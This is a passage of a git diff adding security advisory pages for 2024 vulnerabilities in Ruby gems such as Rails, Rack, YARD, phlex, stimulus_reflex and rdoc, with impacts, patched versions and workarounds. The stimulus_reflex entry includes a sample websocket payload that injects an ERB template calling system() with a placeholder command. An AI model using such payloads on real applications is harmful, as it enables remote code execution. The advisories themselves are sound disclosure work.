+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  unaffected_versions:
+  - "< 7.1.0"
+  patched_versions:
+  - ">= 7.1.3.1"
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-26143.md b/advisories/_posts/2024-02-21-CVE-2024-26143.md
new file mode 100644
index 00000000..985e3dc7
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-26143.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2024-26143 (actionpack): Possible XSS Vulnerability in Action Controller'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-26143
+  ghsa: 9822-6m93-xqf4
+  url: https://discuss.rubyonrails.org/t/possible-xss-vulnerability-in-action-controller/84947
+  title: Possible XSS Vulnerability in Action Controller
+  date: 2024-02-21
+  description: |
+    There is a possible XSS vulnerability when using the translation helpers
+    (`translate`, `t`, etc) in Action Controller. This vulnerability has been
+    assigned the CVE identifier CVE-2024-26143.
+
+    Versions Affected: >= 7.0.0
+    Not affected: < 7.0.0
+    Fixed Versions: 7.1.3.1, 7.0.8.1
+
+    # Impact
+
+    Applications using translation methods like `translate`, or `t` on a
+    controller, with a key ending in “_html”, a `:default` key which contains
+    untrusted user input, and the resulting string is used in a view, may be
+    susceptible to an XSS vulnerability.
+
+    For example, impacted code will look something like this:
+
+    ```
+    class ArticlesController < ApplicationController
+      def show
+        @message = t("message_html", default: untrusted_input)
+        # The `show` template displays the contents of `@message`
+      end
+    end
+    ```
+
+    To reiterate the pre-conditions, applications must:
+
+    * Use a translation function from a controller (i.e. *not* `I18n.t`, or
+    `t` from a view)
+    * Use a key that ends in `_html`
+    * Use a default value where the default value is untrusted and unescaped input
+    * Send the text to the victim (whether that’s part of a template, or a
+      `render` call)
+
+    All users running an affected release should either upgrade or use one of the workarounds immediately.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 7.0.0"
+  patched_versions:
+  - "~> 7.0.8, >= 7.0.8.1"
+  - ">= 7.1.3.1"
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-26144.md b/advisories/_posts/2024-02-21-CVE-2024-26144.md
new file mode 100644
index 00000000..018ea6c5
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-26144.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'CVE-2024-26144 (activestorage): Possible Sensitive Session Information Leak
+  in Active Storage'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+  gem: activestorage
+  framework: rails
+  cve: 2024-26144
+  ghsa: 8h22-8cf7-hq6g
+  url: https://discuss.rubyonrails.org/t/possible-sensitive-session-information-leak-in-active-storage/84945
+  title: Possible Sensitive Session Information Leak in Active Storage
+  date: 2024-02-21
+  description: |
+    There is a possible sensitive session information leak in Active Storage.
+    By default, Active Storage sends a `Set-Cookie` header along with the user’s
+    session cookie when serving blobs. It also sets `Cache-Control` to public.
+    Certain proxies may cache the `Set-Cookie`, leading to an information leak.
+
+    This vulnerability has been assigned the CVE identifier CVE-2024-26144.
+
+    Versions Affected: >= 5.2.0, < 7.1.0
+
+    Not affected: < 5.2.0, >= 7.1.0
+
+    Fixed Versions: 7.0.8.1, 6.1.7.7
+
+    # Impact
+
+    A proxy which chooses to caches this request can cause users to share
+    sessions. This may include a user receiving an attacker’s session or vice
+    versa.
+
+    This was patched in 7.1.0 but not previously identified as a security
+    vulnerability.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    Upgrade to Rails 7.1.X, or configure caching proxies not to cache the
+    `Set-Cookie` headers.
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 5.2.0"
+  - ">= 7.1.0"
+  patched_versions:
+  - "~> 6.1.7, >= 6.1.7.7"
+  - ">= 7.0.8.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-26144
+    - https://hackerone.com/reports/3082917
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-26146.md b/advisories/_posts/2024-02-21-CVE-2024-26146.md
new file mode 100644
index 00000000..b3925ec2
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-26146.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2024-26146 (rack): Possible Denial of Service Vulnerability in Rack Header
+  Parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2024-26146
+  ghsa: 54rr-7fvw-6x8f
+  url: https://discuss.rubyonrails.org/t/possible-denial-of-service-vulnerability-in-rack-header-parsing/84942
+  title: Possible Denial of Service Vulnerability in Rack Header Parsing
+  date: 2024-02-21
+  description: |
+    There is a possible denial of service vulnerability in the header parsing
+    routines in Rack. This vulnerability has been assigned the CVE identifier
+    CVE-2024-26146.
+
+    Versions Affected: All. Not affected: None Fixed Versions: 2.0.9.4, 2.1.4.4, 2.2.8.1, 3.0.9.1
+
+    # Impact
+
+    Carefully crafted headers can cause header parsing in Rack to take longer than
+    expected resulting in a possible denial of service issue. `Accept` and
+    `Forwarded` headers are impacted.
+
+    Ruby 3.2 has mitigations for this problem, so Rack applications using
+    Ruby 3.2 or newer are unaffected.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.4"
+  - "~> 2.1.4, >= 2.1.4.4"
+  - "~> 2.2.8, >= 2.2.8.1"
+  - ">= 3.0.9.1"
+  related:
+    url:
+    - https://github.com/rack/rack/releases/tag/v3.0.9.1
+    - https://github.com/rack/rack/releases/tag/v2.2.8.1
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-26146
+    - https://access.redhat.com/security/cve/cve-2024-26146
+    - https://ubuntu.com/security/CVE-2024-26146
+---
diff --git a/advisories/_posts/2024-02-26-CVE-2024-27456.md b/advisories/_posts/2024-02-26-CVE-2024-27456.md
new file mode 100644
index 00000000..b034ac15
--- /dev/null
+++ b/advisories/_posts/2024-02-26-CVE-2024-27456.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2024-27456 (rack-cors): Rack CORS Middleware has Insecure File Permissions'
+comments: false
+categories:
+- rack-cors
+advisory:
+  gem: rack-cors
+  cve: 2024-27456
+  ghsa: 785g-282q-pwvx
+  url: https://github.com/advisories/GHSA-785g-282q-pwvx
+  title: Rack CORS Middleware has Insecure File Permissions
+  date: 2024-02-26
+  description: |
+    rack-cors (aka Rack CORS Middleware) 2.0.1 has 0666 permissions
+    for the .rb files.
+  unaffected_versions:
+  - "< 2.0.1"
+  patched_versions:
+  - ">= 2.0.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-27456
+    - https://github.com/cyu/rack-cors/issues/274
+    - https://github.com/advisories/GHSA-785g-282q-pwvx
+---
diff --git a/advisories/_posts/2024-02-28-CVE-2024-27285.md b/advisories/_posts/2024-02-28-CVE-2024-27285.md
new file mode 100644
index 00000000..037d3418
--- /dev/null
+++ b/advisories/_posts/2024-02-28-CVE-2024-27285.md
@@ -0,0 +1,76 @@
+---
+layout: advisory
+title: 'CVE-2024-27285 (yard): YARD''s default template vulnerable to Cross-site Scripting
+  in generated frames.html'
+comments: false
+categories:
+- yard
+advisory:
+  gem: yard
+  cve: 2024-27285
+  ghsa: 8mq4-9jjh-9xrc
+  url: https://github.com/advisories/GHSA-8mq4-9jjh-9xrc
+  title: YARD's default template vulnerable to Cross-site Scripting in generated frames.html
+  date: 2024-02-28
+  description: |2
+
+    ### Summary
+
+    The "frames.html" file within the Yard Doc's generated documentation
+    is vulnerable to Cross-Site Scripting (XSS) attacks due to inadequate
+    sanitization of user input within the JavaScript segment of the
+    "frames.erb" template file.
+
+    ### Details
+
+    The vulnerability stems from mishandling user-controlled data retrieved
+    from the URL hash in the embedded JavaScript code within the "frames.erb"
+    template file. Specifically, the script lacks proper sanitization of
+    the hash data before utilizing it to establish the top-level window's
+    location. This oversight permits an attacker to inject malicious
+    JavaScript payloads through carefully crafted URLs.
+
+    Snippet from "frames.erb":
+    (v0.9.34)
+    ```erb
+    <script type="text/javascript">
+      var match = unescape(window.location.hash).match(/^#!(.+)/);
+      var name = match ? match[1] : '<%= url_for_main %>';
+      name = name.replace(/^(\w+):\/\//, '').replace(/^\/\//, '');
+      window.top.location = name;
+    </script>
+    ```
+
+    (v0.9.35)
+    ```erb
+    <script type="text/javascript">
+      var match = decodeURIComponent(window.location.hash).match(/^#!(.+)/);
+      var name = match ? match[1] : '<%= url_for_main %>';
+      name = name.replace(/^((\w*):)?[\/\\]*/gm, '').trim();
+      window.top.location.replace(name)
+    </script>
+    ```
+
+    ### Impact
+
+    This XSS vulnerability presents a substantial threat by enabling
+    an attacker to execute arbitrary JavaScript code within the user's
+    session context. Potential ramifications include session hijacking,
+    theft of sensitive data, unauthorized access to user accounts, and
+    defacement of websites. Any user visiting the compromised page is
+    susceptible to exploitation. It is critical to promptly address
+    this vulnerability to mitigate potential harm to users and preserve
+    the application's integrity.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 0.9.36"
+  related:
+    url:
+    - https://github.com/lsegal/yard/security/advisories/GHSA-8mq4-9jjh-9xrc
+    - https://github.com/lsegal/yard/commit/2069e2bf08293bda2fcc78f7d0698af6354054be
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-27285
+    - https://github.com/advisories/GHSA-8mq4-9jjh-9xrc
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/yard/CVE-2024-27285.yml
+    - https://github.com/lsegal/yard/pull/1538
+    - https://github.com/lsegal/yard/commit/1fcb2d8b316caf8779cfdcf910715e9ab583f0aa
+---
diff --git a/advisories/_posts/2024-02-29-CVE-2023-51774.md b/advisories/_posts/2024-02-29-CVE-2023-51774.md
new file mode 100644
index 00000000..2f036acf
--- /dev/null
+++ b/advisories/_posts/2024-02-29-CVE-2023-51774.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2023-51774 (json-jwt): json-jwt allows bypass of identity checks via a
+  sign/encryption confusion attack'
+comments: false
+categories:
+- json-jwt
+advisory:
+  gem: json-jwt
+  cve: 2023-51774
+  ghsa: c8v6-786g-vjx6
+  url: https://github.com/P3ngu1nW/CVE_Request/blob/main/novjson-jwt.md
+  title: json-jwt allows bypass of identity checks via a sign/encryption confusion
+    attack
+  date: 2024-02-29
+  description: |
+    The json-jwt (aka JSON::JWT) gem versions 1.16.5 and below sometimes allows
+    bypass of identity checks via a sign/encryption confusion attack.
+    For example, JWE can sometimes be used to bypass JSON::JWT.decode.
+  patched_versions:
+  - "~> 1.15.3, >= 1.15.3.1"
+  - ">= 1.16.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-51774
+    - https://github.com/P3ngu1nW/CVE_Request/blob/main/novjson-jwt.md
+    - https://github.com/advisories/GHSA-c8v6-786g-vjx6
+---
diff --git a/advisories/_posts/2024-03-01-CVE-2023-46950.md b/advisories/_posts/2024-03-01-CVE-2023-46950.md
new file mode 100644
index 00000000..2c6f09b7
--- /dev/null
+++ b/advisories/_posts/2024-03-01-CVE-2023-46950.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2023-46950 (sidekiq-unique-jobs): Cross Site Scripting vulnerability in
+  Contribsys Sidekiq'
+comments: false
+categories:
+- sidekiq-unique-jobs
+advisory:
+  gem: sidekiq-unique-jobs
+  cve: 2023-46950
+  ghsa: fhx8-5c23-x7x5
+  url: https://github.com/mhenrixon/sidekiq-unique-jobs/security/advisories/GHSA-cmh9-rx85-xj38
+  title: Cross Site Scripting vulnerability in Contribsys Sidekiq
+  date: 2024-03-01
+  description: |
+    Cross Site Scripting vulnerability in Contribsys Sidekiq v.6.5.8
+    allows a remote attacker to obtain sensitive information via a
+    crafted URL to the filter functions.
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 7.1.33"
+  - ">= 8.0.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-46950
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/security/advisories/GHSA-cmh9-rx85-xj38
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/releases/tag/v8.0.7
+    - https://www.mgm-sp.com/cve/sidekiq-unique-jobs-reflected-xss-cve-2023-46950-cve-2023-46951
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/pull/829
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/commit/cd09ba6108f98973b6649a6149790c3d4502b4cc
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/commit/ec3afd920c1b55843c72f748a87baac7f8be82ed
+    - https://github.com/advisories/GHSA-fhx8-5c23-x7x5
+---
diff --git a/advisories/_posts/2024-03-12-CVE-2024-28121.md b/advisories/_posts/2024-03-12-CVE-2024-28121.md
new file mode 100644
index 00000000..ab704f56
--- /dev/null
+++ b/advisories/_posts/2024-03-12-CVE-2024-28121.md
@@ -0,0 +1,100 @@
+---
+layout: advisory
+title: 'CVE-2024-28121 (stimulus_reflex): StimulusReflex arbitrary method call'
+comments: false
+categories:
+- stimulus_reflex
+advisory:
+  gem: stimulus_reflex
+  cve: 2024-28121
+  ghsa: f78j-4w3g-4q65
+  url: https://github.com/stimulusreflex/stimulus_reflex/security/advisories/GHSA-f78j-4w3g-4q65
+  title: StimulusReflex arbitrary method call
+  date: 2024-03-12
+  description: |
+    ### Summary
+
+    More methods than expected can be called on reflex instances.
+    Being able to call some of them has security implications.
+
+    ### Details
+
+    To invoke a reflex a websocket message of the following shape is sent:
+
+    ```json
+    {
+      "target": "[class_name]#[method_name]",
+      "args": []
+    }
+    ```
+
+    The server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`. It then attempts to call `method_name` on the instance with the provided arguments [ref]:
+
+    [ref]: https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83
+
+    ```ruby
+    method = reflex.method method_name
+    required_params = method.parameters.select { |(kind, _)| kind == :req }
+    optional_params = method.parameters.select { |(kind, _)| kind == :opt }
+
+    if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
+      reflex.public_send(method_name, *arguments)
+    end
+    ```
+
+    This is problematic as `reflex.method(method_name)` can be more methods than those explicitly specified by the developer in their reflex class. A good example is the `instance_variable_set` method.
+
+    ```json
+    {
+      "target": "StimulusReflex::Reflex#render_collection",
+      "args": [
+        { "inline":  "<% system('[command here]') %>" }
+      ]
+    }
+    ```
+
+    ### Patches
+
+    Patches are available on [RubyGems] and on [NPM].
+
+    [RubyGems]: https://rubygems.org/gems/stimulus_reflex
+    [NPM]: https://npmjs.org/package/stimulus_reflex
+
+    The patched versions are:
+    - [`3.4.2`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2)
+    - [`3.5.0.rc4`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4)
+
+    ### Workaround
+
+    You can add this guard to mitigate the issue if running an unpatched
+    version of the library.
+    1.) Make sure all your reflexes inherit from the `ApplicationReflex`
+        class
+    2.) Add this `before_reflex` callback to your `app/reflexes/application_reflex.rb` file:
+
+    ```ruby
+    class ApplicationReflex < StimulusReflex::Reflex
+      before_reflex do
+        ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
+        allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }
+
+        raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
+      end
+    end
+    ```
+  cvss_v3: 8.8
+  patched_versions:
+  - "~> 3.4.2"
+  - ">= 3.5.0.rc4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28121
+    - http://seclists.org/fulldisclosure/2024/Mar/16
+    - https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2
+    - https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4
+    - https://github.com/stimulusreflex/stimulus_reflex/security/advisories/GHSA-f78j-4w3g-4q65
+    - https://github.com/stimulusreflex/stimulus_reflex/commit/538582d240439aab76066c72335ea92096cd0c7f
+    - https://github.com/stimulusreflex/stimulus_reflex/commit/d823d7348f9ca42eb6df25574f11974e4f5bc88c
+    - https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83
+    - https://github.com/advisories/GHSA-f78j-4w3g-4q65
+---
diff --git a/advisories/_posts/2024-03-12-CVE-2024-28199.md b/advisories/_posts/2024-03-12-CVE-2024-28199.md
new file mode 100644
index 00000000..6bc7acc6
--- /dev/null
+++ b/advisories/_posts/2024-03-12-CVE-2024-28199.md
@@ -0,0 +1,92 @@
+---
+layout: advisory
+title: 'CVE-2024-28199 (phlex): Cross-site Scripting (XSS) possible with maliciously
+  formed HTML attribute names and values in Phlex'
+comments: false
+categories:
+- phlex
+advisory:
+  gem: phlex
+  cve: 2024-28199
+  ghsa: 242p-4v39-2v8g
+  url: https://github.com/phlex-ruby/phlex/security/advisories/GHSA-242p-4v39-2v8g
+  title: Cross-site Scripting (XSS) possible with maliciously formed HTML attribute
+    names and values in Phlex
+  date: 2024-03-12
+  description: |
+    There is a potential cross-site scripting (XSS) vulnerability that
+    can be exploited via maliciously crafted user data. This was due
+    to improper case-sensitivity in the code that was meant to prevent
+    these attacks.
+
+    ### Impact
+
+    If you render an `<a>` tag with an `href` attribute set to a
+    user-provided link, that link could potentially execute JavaScript
+    when clicked by another user.
+
+    ```ruby
+    a(href: user_profile) { "Profile" }
+    ```
+
+    If you splat user-provided attributes when rendering any HTML or
+    SVG tag, malicious event attributes could be included in the output,
+    executing JavaScript when the events are triggered by another user.
+
+    ```ruby
+    h1(**JSON.parse(user_attributes))
+    ```
+
+    ### Patches
+
+    Patches are [available on RubyGems](https://rubygems.org/gems/phlex)
+    for all `1.x` minor versions. The patched versions are:
+
+    - [1.9.1](https://rubygems.org/gems/phlex/versions/1.9.1)
+    - [1.8.2](https://rubygems.org/gems/phlex/versions/1.8.2)
+    - [1.7.1](https://rubygems.org/gems/phlex/versions/1.7.1)
+    - [1.6.2](https://rubygems.org/gems/phlex/versions/1.6.2)
+    - [1.5.2](https://rubygems.org/gems/phlex/versions/1.5.2)
+    - [1.4.1](https://rubygems.org/gems/phlex/versions/1.4.1)
+    - [1.3.3](https://rubygems.org/gems/phlex/versions/1.3.3)
+    - [1.2.2](https://rubygems.org/gems/phlex/versions/1.2.2)
+    - [1.1.1](https://rubygems.org/gems/phlex/versions/1.1.1)
+    - [1.0.1](https://rubygems.org/gems/phlex/versions/1.0.1)
+
+    If you are on `main`, it has been patched since
+    [`aa50c60`](https://github.com/phlex-ruby/phlex/commit/aa50c604cdee1d0ce7ef068a4c66cbd5d43f96a1)
+
+    ### Workarounds
+
+    Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+    that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline)
+    would effectively prevent this vulnerability from being exploited.
+
+    ### References
+
+    In addition to upgrading to a patched version of Phlex, we strongly
+    recommend configuring a Content Security Policy header that does not
+    allow `unsafe-inline`. Here’s how you can configure a Content Security
+    Policy header in Rails.
+    https://guides.rubyonrails.org/security.html#content-security-policy-header
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 1.0.1"
+  - "~> 1.1.1"
+  - "~> 1.2.2"
+  - "~> 1.3.3"
+  - "~> 1.4.1"
+  - "~> 1.5.2"
+  - "~> 1.6.2"
+  - "~> 1.7.1"
+  - "~> 1.8.2"
+  - ">= 1.9.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28199
+    - https://github.com/phlex-ruby/phlex/security/advisories/GHSA-242p-4v39-2v8g
+    - https://github.com/phlex-ruby/phlex/commit/aa50c604cdee1d0ce7ef068a4c66cbd5d43f96a1
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline
+    - https://github.com/advisories/GHSA-242p-4v39-2v8g
+---
diff --git a/advisories/_posts/2024-03-15-CVE-2024-28181.md b/advisories/_posts/2024-03-15-CVE-2024-28181.md
new file mode 100644
index 00000000..f058072e
--- /dev/null
+++ b/advisories/_posts/2024-03-15-CVE-2024-28181.md
@@ -0,0 +1,69 @@
+---
+layout: advisory
+title: 'CVE-2024-28181 (turbo_boost-commands): TurboBoost Commands vulnerable to arbitrary
+  method invocation'
+comments: false
+categories:
+- turbo_boost-commands
+advisory:
+  gem: turbo_boost-commands
+  cve: 2024-28181
+  ghsa: mp76-7w5v-pr75
+  url: https://github.com/hopsoft/turbo_boost-commands/security/advisories/GHSA-mp76-7w5v-pr75
+  title: TurboBoost Commands vulnerable to arbitrary method invocation
+  date: 2024-03-15
+  description: |
+    ### Impact
+
+    TurboBoost Commands has existing protections in place to
+    guarantee that only public methods on Command classes can be invoked; however, the
+    existing checks aren't as robust as they should be. It's possible for a sophisticated
+    attacker to invoke more methods than should be permitted depending on the the strictness
+    of authorization checks that individual applications enforce. Being able to call
+    some of these methods can have security implications.
+
+    #### Details
+
+    Commands verify that the class must be a `Command` and that the method requested is
+    defined as a public method; however, this isn't robust enough to guard against all
+    unwanted code execution. The library should more strictly enforce which methods are
+    considered safe before allowing them to be executed.
+
+    ### Patches
+
+    Patched in the following versions.
+    - 0.1.3
+      - [NPM Package](https://www.npmjs.com/package/@turbo-boost/commands/v/0.1.3)
+      - [Ruby GEM](https://rubygems.org/gems/turbo_boost-commands/versions/0.1.3)
+    - 0.2.2
+      - [NPM Package](https://www.npmjs.com/package/@turbo-boost/commands/v/0.2.2)
+      - [Ruby GEM](https://rubygems.org/gems/turbo_boost-commands/versions/0.2.2)
+
+    ### Workarounds
+
+    You can add this guard to mitigate the issue if running an unpatched
+    version of the library.
+
+    ```ruby
+    class ApplicationCommand < TurboBoost::Commands::Command
+      before_command do
+        method_name = params[:name].include?(\"#\") ? params[:name].split(\"#\").last : :perform
+        ancestors = self.class.ancestors[0..self.class.ancestors.index(TurboBoost::Commands::Command) - 1]
+        allowed = ancestors.any? { |a| a.public_instance_methods(false).any? method_name.to_sym }
+        throw :abort unless allowed # ← blocks invocation
+        # raise \"Invalid Command\" unless allowed # ← blocks invocation
+      end
+    end
+    ```
+  cvss_v3: 8.1
+  patched_versions:
+  - "~> 0.1.3"
+  - ">= 0.2.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28181
+    - https://github.com/hopsoft/turbo_boost-commands/security/advisories/GHSA-mp76-7w5v-pr75
+    - https://github.com/hopsoft/turbo_boost-commands/commit/337cda7d9222f1f449905454a7374222017a7477
+    - https://github.com/hopsoft/turbo_boost-commands/commit/88af4fc0ac39cc1799d16c49fab52f6dfbcec9ba
+    - https://github.com/advisories/GHSA-mp76-7w5v-pr75
+---
diff --git a/advisories/_posts/2024-03-18-CVE-2024-28862.md b/advisories/_posts/2024-03-18-CVE-2024-28862.md
new file mode 100644
index 00000000..b6744823
--- /dev/null
+++ b/advisories/_posts/2024-03-18-CVE-2024-28862.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2024-28862 (rotp): ROTP 6.2.2 and 6.2.1 has 0666 permissions for the .rb
+  files.'
+comments: false
+categories:
+- rotp
+advisory:
+  gem: rotp
+  cve: 2024-28862
+  ghsa: x2h8-qmj4-g62f
+  url: https://github.com/mdp/rotp/security/advisories/GHSA-x2h8-qmj4-g62f
+  title: ROTP 6.2.2 and 6.2.1 has 0666 permissions for the .rb files.
+  date: 2024-03-18
+  description: |
+    The Ruby One Time Password library (ROTP) is an open source library
+    for generating and validating one time passwords. Affected versions
+    had overly permissive default permissions. Users should patch to
+    version 6.3.0. Users unable to patch may correct file permissions
+    after installation.
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 6.2.1"
+  patched_versions:
+  - ">= 6.3.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28862
+    - https://github.com/mdp/rotp/security/advisories/GHSA-x2h8-qmj4-g62f
+    - https://github.com/advisories/GHSA-x2h8-qmj4-g62f
+---
diff --git a/advisories/_posts/2024-03-18-GHSA-vcc3-rw6f-jv97.md b/advisories/_posts/2024-03-18-GHSA-vcc3-rw6f-jv97.md
new file mode 100644
index 00000000..6dd56bd6
--- /dev/null
+++ b/advisories/_posts/2024-03-18-GHSA-vcc3-rw6f-jv97.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'GHSA-vcc3-rw6f-jv97 (nokogiri): Use-after-free in libxml2 via Nokogiri::XML::Reader'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: vcc3-rw6f-jv97
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+  title: Use-after-free in libxml2 via Nokogiri::XML::Reader
+  date: 2024-03-18
+  description: |
+    ### Summary
+
+    Nokogiri upgrades its dependency libxml2 as follows:
+    - v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
+    - v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4
+
+    libxml2 v2.11.7 and v2.12.5 address the following vulnerability:
+
+    CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062
+    - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604
+    - patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970
+
+    Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if
+    the packaged libraries are being used. If you've overridden defaults at installation time to use
+    system libraries instead of packaged libraries, you should instead pay attention to your distro's
+    libxml2 release announcements.
+
+    JRuby users are not affected.
+
+    ### Severity
+
+    The Nokogiri maintainers have evaluated this as **Moderate**.
+
+    ### Impact
+
+    From the CVE description, this issue applies to the `xmlTextReader` module (which underlies
+    `Nokogiri::XML::Reader`):
+
+    > When using the XML Reader interface with DTD validation and XInclude expansion enabled,
+    > processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.
+
+    ### Mitigation
+
+    Upgrade to Nokogiri `~> 1.15.6` or `>= 1.16.2`.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
+    and link Nokogiri against patched external libxml2 libraries which will also address these same
+    issues.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 1.15.6"
+  - ">= 1.16.2"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/nokogiri/GHSA-xc9x-jj77-9p9j.yml
+    - https://github.com/advisories/GHSA-vcc3-rw6f-jv97
+---
diff --git a/advisories/_posts/2024-03-21-CVE-2024-27280.md b/advisories/_posts/2024-03-21-CVE-2024-27280.md
new file mode 100644
index 00000000..0642ff12
--- /dev/null
+++ b/advisories/_posts/2024-03-21-CVE-2024-27280.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2024-27280 (stringio): Buffer overread vulnerability in StringIO'
+comments: false
+categories:
+- stringio
+advisory:
+  gem: stringio
+  cve: 2024-27280
+  ghsa: v5h6-c2hv-hv3r
+  url: https://www.ruby-lang.org/en/news/2024/03/21/buffer-overread-cve-2024-27280/
+  title: Buffer overread vulnerability in StringIO
+  date: 2024-03-21
+  description: |
+    An issue was discovered in StringIO 3.0.1, as distributed in Ruby 3.0.x
+    through 3.0.6 and 3.1.x through 3.1.4.
+
+    The `ungetbyte` and `ungetc` methods on a StringIO can read past the end of a
+    string, and a subsequent call to `StringIO.gets` may return the memory value.
+
+    This vulnerability is not affected StringIO 3.0.3 and later, and Ruby 3.2.x
+    and later.
+
+    We recommend to update the StringIO gem to version 3.0.3 or later. In order to
+    ensure compatibility with bundled version in older Ruby series, you may update
+    as follows instead:
+
+    * For Ruby 3.0 users: Update to `stringio` 3.0.1.1
+    * For Ruby 3.1 users: Update to `stringio` 3.0.1.2
+
+    You can use `gem update stringio` to update it. If you are using bundler,
+    please add `gem "stringio", ">= 3.0.1.2"` to your `Gemfile`.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.0.1.1"
+---
diff --git a/advisories/_posts/2024-03-21-CVE-2024-27281.md b/advisories/_posts/2024-03-21-CVE-2024-27281.md
new file mode 100644
index 00000000..c41bc7c4
--- /dev/null
+++ b/advisories/_posts/2024-03-21-CVE-2024-27281.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2024-27281 (rdoc): RCE vulnerability with .rdoc_options in RDoc'
+comments: false
+categories:
+- rdoc
+advisory:
+  gem: rdoc
+  cve: 2024-27281
+  ghsa: 592j-995h-p23j
+  url: https://www.ruby-lang.org/en/news/2024/03/21/rce-rdoc-cve-2024-27281/
+  title: RCE vulnerability with .rdoc_options in RDoc
+  date: 2024-03-21
+  description: |
+    An issue was discovered in RDoc 6.3.3 through 6.6.2, as distributed in Ruby
+    3.x through 3.3.0.
+
+    When parsing `.rdoc_options` (used for configuration in RDoc) as a YAML file,
+    object injection and resultant remote code execution are possible because
+    there are no restrictions on the classes that can be restored.
+
+    When loading the documentation cache, object injection and resultant remote
+    code execution are also possible if there were a crafted cache.
+
